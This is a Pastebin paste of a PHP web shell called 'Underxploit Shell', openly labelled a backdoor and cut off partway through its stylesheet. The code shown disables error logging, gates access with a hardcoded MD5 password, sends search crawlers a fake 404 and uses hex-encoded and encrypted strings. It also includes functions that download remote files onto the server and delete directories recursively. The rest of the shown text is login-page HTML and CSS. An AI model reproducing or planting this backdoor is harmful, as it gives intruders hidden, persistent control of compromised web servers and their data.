ToKeiChun

Responsive Design PHP Backdoor

Apr 26th, 2019
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 176.35 KB | None | 0 0
  1. <?php
  2. /*! Description & About
  3. * Underxploit Shell 0.1.4
  4. * Responsive Design
  5. * Source Editor With Line Number
  6. * Source Viewer With Syntax Highligter
  7. * Simple Alert
  8. * Without Log's
  9. * Clean Url
  10. * Fast Loading (Using Javascript Jump :v)
  11. * With Hacking Tools
  12. * Programmed By Wildan Izzudin
  13. * Web Shell (c) 2019
  14. * Fix On 29, Mar 2019 (Friday)
  15. End !*/
  16. error_reporting(0);
  17. ob_start("ob_gzhandler");
  18. // --- pass : root --- //
  19. $pass = "63a9f0ea7bb98050796b649e85481845";
  20. $_POST = cl($_POST); $_GET = cl($_GET);
  21. $_COOKIE = cl($_COOKIE);
  22. $_UNDERXPLOIT = array_merge($_POST, $_GET);
  23. $_UNDERXPLOIT = array_map("xp", $_UNDERXPLOIT);
  24. $cookie = md5($_SERVER['HTTP_USER_AGENT']);
  25.  
  26. switch (true) {
  27. case (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])):
  28. vb(md5($_SERVER['HTTP_HOST']) , $cookie);
  29. }
  30.  
  31. function vb($k, $v) {
  32. $_COOKIE[$k] = $v;
  33. setcookie($k, $v);
  34. }
  35.  
  36. function jmbt($str){
  37. return htmlspecialchars($str, 2 | 1);
  38. }
  39.  
  40. function mtr($y) {
  41. print '<meta http-equiv="refresh" content="1;url=' . $y . '"/>';
  42. return $y;
  43. }
  44.  
  45. function op($d, $e) {
  46. $fp = fopen($d, "w"); $ch = curl_init();
  47. curl_setopt($ch, CURLOPT_URL, $e);
  48. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  49. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  50. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  51. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  52. curl_setopt($ch, CURLOPT_FILE, $fp);
  53. return curl_exec($ch);
  54. curl_close($ch);
  55. fclose($fp);
  56. ob_flush();
  57. flush();
  58. }
  59.  
  60. function perms($x_x) {
  61. if($x_cv = @fileperms($x_x)){
  62. $x_cz = 'u';
  63. if(($x_cv & 0xC000) == 0xC000)$x_cz = 's';
  64. elseif(($x_cv & 0xA000) == 0xA000)$x_cz = 'l';
  65. elseif(($x_cv & 0x8000) == 0x8000)$x_cz = '-';
  66. elseif(($x_cv & 0x6000) == 0x6000)$x_cz = 'b';
  67. elseif(($x_cv & 0x4000) == 0x4000)$x_cz = 'd';
  68. elseif(($x_cv & 0x2000) == 0x2000)$x_cz = 'c';
  69. elseif(($x_cv & 0x1000) == 0x1000)
  70. $x_cz = 'p';
  71. $x_cz .= ($x_cv & 00400)? 'r':'-';
  72. $x_cz .= ($x_cv & 00200)? 'w':'-';
  73. $x_cz .= ($x_cv & 00100)? 'x':'-';
  74. $x_cz .= ($x_cv & 00040)? 'r':'-';
  75. $x_cz .= ($x_cv & 00020)? 'w':'-';
  76. $x_cz .= ($x_cv & 00010)? 'x':'-';
  77. $x_cz .= ($x_cv & 00004)? 'r':'-';
  78. $x_cz .= ($x_cv & 00002)? 'w':'-';
  79. $x_cz .= ($x_cv & 00001)? 'x':'-';
  80. return $x_cz;
  81. }
  82. else return "- ?? -";
  83. }
  84.  
  85. function deledir($str) {
  86. switch (true) {
  87. case (is_dir($str)): $hnd = opendir($str);
  88. switch (true) {
  89. case (!$hnd): return false;
  90. break;
  91. default:
  92. while ($file = readdir($hnd)) {
  93. switch (true) {
  94. case ($file != '.' && $file != '..'): switch (true) {
  95. case (!is_dir($str . "/" . $file)): unlink($str . "/" . $file);
  96. break;
  97. default: deledir($str . '/' . $file);
  98. } break; }
  99. }
  100. closedir($hnd); rmdir($str); return true;
  101. break; } break; }
  102. }
  103.  
  104. function a($str) {
  105. @define("x13", "\x31\x33\x33\x37", true);
  106. $x14 = base64_decode($str);
  107. $x16s = substr($x14, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
  108. $x19 = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, hash('sha256', x13, true) , substr($x14, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)) , MCRYPT_MODE_CBC, $x16s) , "\0");
  109. return $x19;
  110. }
  111.  
  112. function x($b) {
  113. $c = a($b); return $c;
  114. }
  115.  
  116. @ini_set('error_log', NULL);
  117. @ini_set('log_errors', 0);
  118. @ini_set('html_errors', 0);
  119. @ini_set('max_execution_time', 0);
  120. @ini_set('file_uploads', 1);
  121. @set_time_limit(0);
  122. @clearstatcache();
  123. @define("x5", "\x64\x69\x72\x3d", true);
  124. @define("x7", "\x63\x6f\x6d\x6d\x61\x6e\x64\x3d", true);
  125. @define("x6", "\x66\x69\x6c\x65\x3d", true);
  126. @define("x9", "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x27\x63\x6f\x4c\x2d\x6f\x70\x74\x69\x6f\x6e\x20\x74\x6f\x70\x27\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x69\x20\x63\x6c\x61\x73\x73\x3d\x27\x7a\x6d\x64\x69\x20\x7a\x6d\x64\x69\x2d\x61\x6c\x65\x72\x74\x2d\x63\x69\x72\x63\x6c\x65\x2d\x6f\x20\x7a\x6d\x64\x69\x2d\x68\x63\x2d\x66\x77\x20\x7a\x6d\x64\x69\x2d\x68\x63\x2d\x34\x78\x27\x3e\x3c\x2f\x69\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x5b\x20\x42\x41\x44\x20\x52\x45\x51\x55\x45\x53\x54\x20\x5d\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x2f\x64\x69\x76\x3e\x3c\x2f\x64\x69\x76\x3e", true);
  127. @define("sec", $pass, true);
  128.  
  129. switch (true) {
  130. case ($_UNDERXPLOIT['dir']): $dir = str_replace("\\", "/", $_UNDERXPLOIT['dir']);
  131. @chdir($dir);
  132. break;
  133. default: $dir = str_replace("\\", "/", getcwd());
  134. }
  135.  
  136. $dir = str_replace("\\", "/", $dir);
  137. $scdir = explode("/", $dir);
  138.  
  139. function cl($str) {
  140. $qos = strtolower(ini_get('magic_quotes_sybase'));
  141. switch (true) {
  142. case (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()):
  143. case (is_array($str)): foreach($str as $k => $v) {
  144. switch (true) {
  145. case (is_array($v)): $str[$k] = cl($v);
  146. break;
  147. default: $str[$k] = (empty($qos) || $qos === 'off') ? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  148. }
  149. } break; } return $str;
  150. }
  151.  
  152. function xp($str) {
  153. return (is_array($str)) ? array_map("rawurldecode", $str) : rawurldecode($str);
  154. }
  155.  
  156. function r($str) {
  157. print '<script type="text/javascript">window.location = "' . $str . '";</script>';
  158. return $str;
  159. }
  160.  
  161. function s($str) {
  162. print 'notif({
  163. type: "default",
  164. msg: "<span class=\'alert\'><font color=\'#fff\'>' . $str . '</font>",
  165. width: "all",
  166. height: 100,
  167. position: "center",
  168. });';
  169. return $str;
  170. }
  171.  
  172. function bacot($str) {
  173. print '<script type="text/javascript"> notif({
  174. type: "default",
  175. msg: "<span class=\'alert\'><font color=\'#fff\'>' . $str . '</font>",
  176. width: "all",
  177. height: 100,
  178. position: "center",
  179. });</script>';
  180. return $str;
  181. }
  182.  
  183. switch(true) {
  184. case (get_magic_quotes_gpc()): function stripslashes_array($array) {
  185. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  186. }
  187. $_UNDERXPLOIT = stripslashes_array($_UNDERXPLOIT);
  188. $_COOKIE = stripslashes_array($_COOKIE);
  189. }
  190.  
  191. switch (true) {
  192. case (!empty(sec)): switch (true) {
  193. case (($_UNDERXPLOIT['pass']) && (md5($_UNDERXPLOIT['pass']) == sec)): vb(md5($_SERVER['HTTP_HOST']) , sec);
  194. break;
  195. case (!$_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != sec): login();
  196. break;
  197. }
  198. }
  199.  
  200. function login() {
  201. switch (true) {
  202. case (!empty($_SERVER['HTTP_USER_AGENT'])):
  203. $serp = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","Yahoo","Bing");
  204. case (preg_match('/' . implode('|', $serp) . '/i', $_SERVER['HTTP_USER_AGENT'])):
  205. header('HTTP/1.0 404 Not Found');
  206. }
  207.  
  208. die('<!DOCTYPE html>
  209. <head>
  210. <title>LOGIN | UNDERXPLOIT SHELL 0.1.4</title>
  211. <meta name="robots" content="noindex, nofollow, noarchive">
  212. <meta name="viewport" content="width=device-width, initial-scale=1">
  213. <meta property="og:image" content="//1.bp.blogspot.com/-P1jMet8cGvQ/Wi6HjYT3n5I/AAAAAAAAAuQ/bO2cfdqUfJo8YPt0SP6veAvhEERf_SEzQCLcBGAs/s320/logo.jpg">
  214. <meta name="theme-color" content="#1D9D73">
  215. <meta name="apple-mobile-web-app-capable" content="yes">
  216. <meta name="apple-mobile-web-app-status-bar-style" content="#1D9D73">
  217. <meta name="msapplication-navbutton-color" content="#1D9D73">
  218. <meta name="author" content="WILDAN IZZUDIN">
  219. <link href="//underxploit.github.io/core/favicon.ico" rel="icon" type="image/x-icon" />
  220. <link rel="stylesheet" href="//underxploit.github.io/core/icons/material.css" />
  221. <script type="text/javascript">
  222. baseUrl = window.location.href.split("?")[0];
  223. window.history.pushState("name", "?", baseUrl);
  224. </script>
  225. <style>
  226. @import url(https://fonts.googleapis.com/css?family=Play);
  227. * {
  228. box-sizing: border-box
  229. }
  230.  
  231. *:focus {
  232. outline: 0
  233. }
  234.  
  235. body {
  236. font-size: 14px;
  237. color: #fff;
  238. margin: auto;
  239. font-family: "Play";
  240. background: #212121
  241. }
  242.  
  243. .login-container {
  244. max-width: 450px;
  245. margin: auto;
  246. overflow: auto;
  247. background: none
  248. }
  249.  
  250. .login-kepala {
  251. background: #222;
  252. padding: 10px;
  253. color: #fff;
  254. font-size: 14px;
  255. position: fixed;
  256. z-index: 1024;
  257. top: 0;
  258. left: 0;
  259. right: 0;
  260. -o-border-radius: 2px;
  261. -webkit-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  262. -moz-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  263. -ms-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  264. -o-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  265. box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  266. font-family: "Play"
  267. }
  268.  
  269. input[type=password] {
  270. border: 0;
  271. border-bottom: 1px solid #1D9D73;
  272. padding: 9px;
  273. background: none;
  274. color: #fff;
  275. font-family: "Play";
  276. width: 100%;
  277. font-size: 14px
  278. }
  279.  
  280. .btn-exe:hover {
  281. background: none;
  282. border: 1px solid #1D9D73;
  283. color: #1D9D73;
  284. -webkit-transition: all 0.3s;
  285. -moz-transition: all 0.3s;
  286. transition: all 0.3s
  287. }
  288.  
  289. table {
  290. width: 100%
  291. }
  292.  
  293. .btn-exe {
  294. background: #1D9D73;
  295. color: #fff;
  296. font-family: "Play";
  297. padding: 6px;
  298. border: 1px solid #1D9D73;
  299. width: 100%;
  300. font-size: 14px;
  301. border-top-right-radius: 15px;
  302. border-bottom-left-radius: 15px
  303. }
  304. </style>
  305. </head>
  306. <body>
  307. <div class="login-kepala">
  308. <div class="login-container">
  309. <form action="" method="post">
  310. <table>
  311. <td align="center" style="width:10%">
  312. <i class="zmdi zmdi-chevron-right"></i>
  313. </td>
  314. <td style="width:70%">
  315. <input type="password" placeholder="" name="pass">
  316. </td>
  317. <td style="text-align:right;width:20%">
  318. <button type="submit" class="btn-exe">
  319. <i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i>
  320. </button>
  321. </td>
  322. </table>
  323. </form>
  324. </div>
  325. </div>
  326. </body>
  327. </html>');
  328. }
  329.  
  330. print '<!DOCTYPE html lang="en">
  331. <head>
  332. <title>UNDERXPLOIT SHELL 0.1.4</title>
  333. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
  334. <meta name="author" content="WILDAN IZZUDIN">
  335. <meta name="theme-color" content="#1D9D73">
  336. <meta name="apple-mobile-web-app-capable" content="yes">
  337. <meta name="apple-mobile-web-app-status-bar-style" content="#1D9D73">
  338. <meta name="msapplication-navbutton-color" content="#1D9D73">
  339. <link rel="icon" href="//underxploit.github.io/core/favicon.ico" type="image/x-icon" />
  340. <link rel="stylesheet" href="//underxploit.github.io/core/icons/material.css" />
  341. <style>
  342. @import url(https://fonts.googleapis.com/css?family=Play);img[alt*="www.000webhost.com"]{display:none}*{box-sizing:border-box}*:focus{outline:0}::-moz-selection{background-color:rgba(201,223,255,.1);color:#fff}body{font-size:14px;background-attachment:fixed;color:#fff;margin:auto;font-family:"Play";background-color:#202020;overflow:auto;box-sizing:border-box}code{font-family:"Play";word-wrap:break-word;background:rgba(0,0,0,.2);font-size:13px}pre{margin:0;border:1px solid #343436;white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;font-size:13px;background:#222}a{text-decoration:none;color:#fff}input[type=file]::-webkit-file-upload-button{background:#1D9D73;border:1px solid #1D9D73;color:#1D9D73;font-size:14px;font-family:"Play";border-radius:2px;width:1px}input[type=file]{border:1px solid #343436;color:#fff;background:#323232;width:100%;font-size:14px;padding:7px;border-radius:2px;font-family:"Play"}select{-webkit-appearance:none;-moz-appearance:none;text-indent:1px}input[type=number]{-moz-appearance:textfield}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;margin:0}input[type=text],input[type=number],input[type=password]{border:1px solid #343436;padding:9px;background:#323232;color:#fff;font-family:"Play";width:100%;border-radius:2px;font-size:14px}textarea{border:1px solid rgba(255,255,255,.1);width:100%;height:600px;padding:5px;background:none;color:#fff;font-family:"Play";font-size:13px;border-radius:2px}select{padding:9px;border:1px solid #343436;font-family:"Play";font-size:14px;background:#323232;width:100%;color:#fff;border-radius:2px;-webkit-appearance:none}.btn-exe{background:#1D9D73;color:#fff;font-family:"Play";padding:9px;border:1px solid #1D9D73;width:100%;border-radius:2px;font-size:14px;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.btn-exe:hover{background:none;border:1px solid #1D9D73;color:#1D9D73}.lawb{position:relative;bottom:3px;background:#1D9D73;color:#fff;font-family:"Play";padding:3px 7px;border:1px solid #1D9D73;width:100%;border-radius:2px;font-size:13px;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.tup{font-size:14px}.alert{font-family:"Play";color:#fff}.coL{width:469px;border:0 solid #ddd;background:#222;padding:3px;float:left;margin-left:2px;margin-right:2px;margin-bottom:2px;margin-top:3px;color:#222}.tools-content{padding:3px;margin:1px 2px 0 2px;background:none;border-radius:2px;border:1px solid #343436}.td-tools-left{padding:5px;width:30px;text-align:center}.td-tools-icon{width:50px;background:none;text-align:center}.td-tools-content{padding-left:5px;font-size:14px}.label-danger{color:red}.label-success{color:#1D9D73}.coR{width:343px;border:0;background:#222;margin-left:2px;margin-right:2px;margin-bottom:2px;margin-top:3px;padding:3px;float:left}table{width:100%}hr{border:0;height:1px;background-image:-webkit-linear-gradient(left,#343436,#343436,#343436);background-image:-moz-linear-gradient(left,#343436,#343436,#343436);background-image:-ms-linear-gradient(left,#343436,#343436,#343436);background-image:-o-linear-gradient(left,#343436,#343436,#343436)}h2{font-size:19px;font-weight:400}.th-nav{width:85px}.co-ontainer-2{max-width:820px;margin:auto;overflow:hidden;background:#222;box-shadow:0 1px 5px rgba(27,31,35,.15)!important}.co-ontainer-3{max-width:820px;margin:auto;overflow:hidden;background:none}.coL-panel{padding:1px;border:1px solid #343436;border-bottom:0;color:#fff;border-radius:2px;margin:2px;margin-bottom:0;background:none}.coR-panel{padding:1px;border:1px solid #343436;border-bottom:0;color:#fff;margin:2px;border-radius:2px;background:none}.main-content{padding:5px;margin-top:5px;background:none;border:0 solid #ddd;font-size:16px}.ex-hov:hover{background:rgba(52,52,63,.2);-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.dir{background:#343436;padding:2px;margin-left:2px;margin-right:2px;margin-top:3px;margin-bottom:1px;font-size:15px}.dir-pallet{background:rgba(255,255,255,.1);padding:6px;text-align:left}.dir-td-left{width:50px;border-right:1px solid #1D9D73;font-size:14px}.dir-td-right{padding-left:5px;font-size:15px}@media screen and (max-width:2024px){select{padding:8px}#wh{display:display}.co-ontainer-2{width:100%;border-radius:0}.coL{width:467px;background:none:margin-bottom:3px;border:none}.coR{width:42%;float:right;border:none}}@media screen and (max-width:1024px){select{padding:8px}#wh{display:display}.co-ontainer-2{width:100%;border-radius:0}.coL{width:467px;background:none:margin-bottom:3px;border:none}.coR{width:42%;float:right;border:none}}@media screen and (max-width:780px){select{padding:9px}#wh{display:none}.co-ontainer-2{background:#222;border-radius:0;margin-top:0}.coL{padding:1px;width:auto;float:none}.coR{padding:1px;width:auto;float:none}}.footer{background:#343436;color:#fff;padding:8px;text-align:center;margin:auto;overflow:hidden;max-width:820px;-webkit-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-moz-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-ms-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-o-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);box-shadow:0 1px 4px 0 rgba(0,0,0,.14)}.td-panel{border-right:1px solid #343436;padding:5px;padding-right:8px;width:40px;text-align:center;color:#fff}.td-panel-right{padding-left:3px;font-size:14px}.a:hover{color:#1D9D73;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.coL-option{padding:5px;border:1px solid #343436;margin:2px 2px 0 2px;background:none;font-size:13px;border-radius:2px;color:#fff}.coL-option td{font-size:14px}.coL-btn-option-active{padding:7px;background:none;border:0 solid rgba(255,255,255,.1);font-size:14px;font-family:"Play";width:100%;color:#fff}.coL-btn-option{padding:7px;background:#343436;border:1px solid #343436;font-size:14px;border-radius:2px;font-family:"Play";width:100%;color:#fff;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.coL-btn-option:hover{background:none;width:100%;color:#fff;border:1px solid #343436}.coL-option-panel{padding:5px;border:none;background:#343436;font-size:14px}.xa{background:#1D9D73;color:#fff;width:30px;height:30px;padding:5px;border:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s;border-radius:100%}.xa:hover{background:#343436;color:#1D9D73}.table-info{margin-top:3px;border-collapse:collapse;font-family:"Play"}.th-info{padding:6px;border:1px solid #343436;background:#343436;border-collapse:collapse;font-family:"Play";font-weight:400;color:#fff;font-size:14px}.td-info{padding:7px;border:1px solid #343436;background:none;font-family:"Play";font-size:14px}.table-file{margin-top:3px;font-family:"Play";padding-right:2px;padding-left:2px}.table-file tr:hover{background:rgba(52,52,63,.2);-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.th-file{padding:6px;border:1px solid #343436;background:#343436;font-family:"Play";font-weight:400;font-size:14px;color:#fff}.td-file{font-size:14.3px;padding:4px;border:0;border-bottom:1px dashed #343436;background:none;font-family:"Play" color:#222}.wr{padding:10px 5px 10px 5px}.loader{border:2px solid #343436;border-radius:50%;border-top:2px solid #1D9D73;width:20px;height:20px;-webkit-animation:spin 600ms linear infinite;animation:spin 600ms linear infinite}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}#judul{text-transform:uppercase;float:left;margin-top:8px;font-weight:700;display:none}.atas{background:fixed;background-size:cover;text-align:center;padding:0;background-color:#222}@media screen and (max-width:2024px){select{padding:8px}#particles-js{height:300px}}@media screen and (max-width:1024px){select{padding:8px}#particles-js{height:300px}}@media screen and (max-width:780px){select{padding:9px}#particles-js{height:200px}}#particles-js{max-width:820px}input[type=checkbox]{display:none}.icon{text-align:center;display:inline-block}.icon .zmdi{visibility:hidden}input[type=checkbox]:checked + .icon .zmdi{position:relative;top:1px;right:1px;visibility:visible}input[type=checkbox]{display:inline\9}.icon{display:none\9}input[type=checkbox]{margin:0 .1em}.icon{background:none;border:1px solid #343436;border-radius:100px;text-align:center;font-size:15px;margin:2px auto 2px auto;height:20px;width:20px;line-height:2000px}.move-top{color:#fff;border-radius:3px;position:fixed;bottom:10px;right:10px;text-decoration:none;padding:15px 25px 15px 20px;display:none;background:rgba(0,0,0,.4)}.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}@-webkit-keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}.menus{padding:8px;text-align:right;background:none}.atas-ae{position:fixed;top:0;right:0;left:0;z-index:1030;padding:10px;margin:auto;max-width:820px}.top{margin-top:3px}.elip{max-width:100px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wrap{word-wrap:break-word}.break{word-break:break-all;white-space:normal}#ui_notifIt{position:fixed;top:10px;right:10px;left:10px;cursor:none;overflow:hidden;-webkit-box-shadow:0 3px 5px rgba(0,0,0,.3);-moz-box-shadow:0 3px 5px rgba(0,0,0,.3);-o-box-shadow:0 3px 5px rgba(0,0,0,.3);box-shadow:0 3px 5px rgba(0,0,0,.3);-wekbit-border-radius:5px;-moz-border-radius:5px;-o-border-radius:5px;border-radius:5px;z-index:2000}#ui_notifIt:hover{opacity:1!important}#ui_notifIt p{text-align:center;font-family:sans-serif;font-size:14px;padding:0;margin:0}#notifIt_close{position:absolute;color:#FFF;top:0;padding:0 5px;right:0}#notifIt_close:hover{background-color:rgba(255,255,255,.3)}#ui_notifIt.default{background-color:#1D9D73;border:0;-webkit-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-moz-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-ms-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-o-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);box-shadow:0 1px 4px 0 rgba(0,0,0,.14)}.notifit_confirm_bg,.notifit_prompt_bg{position:fixed;top:0;left:0;height:100%;width:100%;background-color:rgba(255,255,255,.1)}.notifit_confirm *,.notifit_prompt *{font-family:"Play"}.notifit_confirm,.notifit_prompt{position:fixed;top:0;left:0;padding:30px 30px 0 30px;background-color:#1D9D73;border:1px solid rgba(0,0,0,.1);-webkit-border-radius:5px;-moz-border-radius:5px;-ms-border-radius:5px;-o-border-radius:5px;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,.2);box-shadow:0 2px 10px rgba(0,0,0,.2)}.hljs{display:block;overflow-x:auto;font-size:13px;padding:.5em;background:#222;color:#e6e1dc}.hljs-comment,.hljs-quote{color:#bc9458;font-style:italic}.hljs-keyword,.hljs-selector-tag{color:#c26230}.hljs-string,.hljs-number,.hljs-regexp,.hljs-variable,.hljs-template-variable{color:#1D9D73}.hljs-subst{color:#519f50}.hljs-tag,.hljs-name{color:#e8bf6a}.hljs-type{color:#da4939}.hljs-symbol,.hljs-bullet,.hljs-built_in,.hljs-builtin-name,.hljs-attr,.hljs-link{color:#6d9cbe}.hljs-params{color:#d0d0ff}.hljs-attribute{color:#cda869}.hljs-meta{color:#9b859d}.hljs-title,.hljs-section{color:#ffc66d}.hljs-addition{background-color:#144212;color:#e6e1dc;display:inline-block;width:100%}.hljs-deletion{background-color:#600;color:#e6e1dc;display:inline-block;width:100%}.hljs-selector-class{color:#9b703f}.hljs-selector-id{color:#8b98ab}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}.hljs-link{text-decoration:underline}::selection{background-color:#1D9D73;color:#fff}.linedwrap{border:1px solid #343436;padding:3px;padding-right:0;margin-top:5px}#paksa{padding:0 2px 0 2px}.linedtextarea{padding:0;margin:0}.linedtextarea,.linedwrap .codelines .lineno{font-size:13px;font-family:"Play";line-height:normal!important}.linedwrap .lines{margin-top:1px;width:45px;float:left;overflow:hidden;border-right:1px solid #1D9D73;margin-right:5px}.linedwrap .codelines{padding-top:6px}.linedwrap .codelines .lineno{color:#AAA;padding-right:5px;padding-top:0em;text-align:right;white-space:nowrap;font-family:"Play"}.linedwrap .codelines .lineselect{color:#1D9D73}.tool-container,.tool-item,.btn-toolbar{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.btn-toolbar{background:#1D9D73;width:20px;height:20px;text-align:center;padding:7px;border-radius:4px;display:block;transition:none}.btn-toolbar>i{color:#02baf2;font-size:16px}.btn-toolbar:hover{background:#02baf2;cursor:pointer}.btn-toolbar:hover>i{color:white}.btn-toolbar-dark{background-color:#1D9D73}.btn-toolbar-dark.pressed{background-color:#5e696d}.btn-toolbar-dark:hover{background-color:#5e696d}.btn-toolbar-dark>i{color:white}.tool-container{background-color:#5e696d;background-size:100% 100%;border-radius:4px;position:absolute}.tool-container.tool-top,.tool-container.tool-bottom{height:34px;border-bottom:0 solid #beb8b8}.tool-container.tool-top .tool-item,.tool-container.tool-bottom .tool-item{float:left;border-right:0;border-left:0}.tool-item{height:100%;display:block;width:20px;height:20px;text-align:center;padding:7px;transition:none}.tool-item>.zmdi{color:#b2c6cd;font-size:15px;margin-top:3px}.tool-item.selected,.tool-item:hover{background:#02baf2}.tool-item.selected>.zmdi,.tool-item:hover>.zmdi{color:white}.tool-top .tool-item:first-child:hover,.tool-bottom .tool-item:first-child:hover{border-top-left-radius:4px;border-bottom-left-radius:4px}.tool-top .tool-item:last-child:hover,.tool-bottom .tool-item:last-child:hover{border-top-right-radius:4px;border-bottom-right-radius:4px}.tool-vertical-top .tool-item:first-child:hover,.tool-vertical-bottom .tool-item:first-child:hover,.tool-right .tool-item:first-child:hover,.tool-left .tool-item:first-child:hover{border-top-left-radius:4px;border-top-right-radius:4px}.tool-vertical-top .tool-item:last-child:hover,.tool-vertical-bottom .tool-item:last-child:hover,.tool-right .tool-item:last-child:hover,.tool-left .tool-item:last-child:hover{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.tool-container .arrow{width:0;height:0;position:absolute;border-width:7px;border-style:solid}.tool-container.tool-top .arrow{border-color:#5e696d transparent transparent;left:50%;bottom:-14px;margin-left:-7px}.tool-container.tool-bottom .arrow{border-color:transparent transparent #5e696d;left:50%;top:-14px;margin-left:-7px}.tool-container.tool-left .arrow{border-color:transparent transparent transparent #5e696d;top:50%;right:-14px;margin-top:-7px}.tool-container.tool-right .arrow{border-color:transparent #5e696d transparent transparent;top:50%;left:-14px;margin-top:-7px}.toolbar-dark{background-color:#1D9D73}.toolbar-dark.tool-top .arrow{border-color:#1D9D73 transparent transparent}.toolbar-dark.tool-bottom .arrow{border-color:transparent transparent #1D9D73}.toolbar-dark.tool-left .arrow{border-color:transparent transparent transparent #1D9D73}.toolbar-dark.tool-right .arrow{border-color:transparent #1D9D73 transparent transparent}.toolbar-dark .tool-item>.zmdi{color:white}.toolbar-dark .tool-item.selected,.toolbar-dark .tool-item:hover{background:#343436;color:white}.animate-standard{-webkit-animation:standardAnimate 0.3s 1 ease}.animate-flyin{-webkit-animation:rotateAnimate 0.5s 1 ease}.animate-grow{-webkit-animation:growAnimate 0.4s 1 ease}.animate-flip{-webkit-animation:flipAnimate 0.4s 1 ease}.animate-bounce{-webkit-animation:bounceAnimate 0.4s 1 ease-out}@-webkit-keyframes rotateAnimate{from{transform:rotate(180deg) translate(-120px);opacity:0}to{transform:rotate(0deg) translate(0);opacity:1}}@-webkit-keyframes standardAnimate{from{transform:translateY(20px);opacity:0}to{transform:translateY(0);opacity:1}}@-webkit-keyframes growAnimate{0%{transform:scale(0) translateY(40px);opacity:0}70%{transform:scale(1.5) translate(0)}100%{transform:scale(1) translate(0);opacity:1}}@-webkit-keyframes 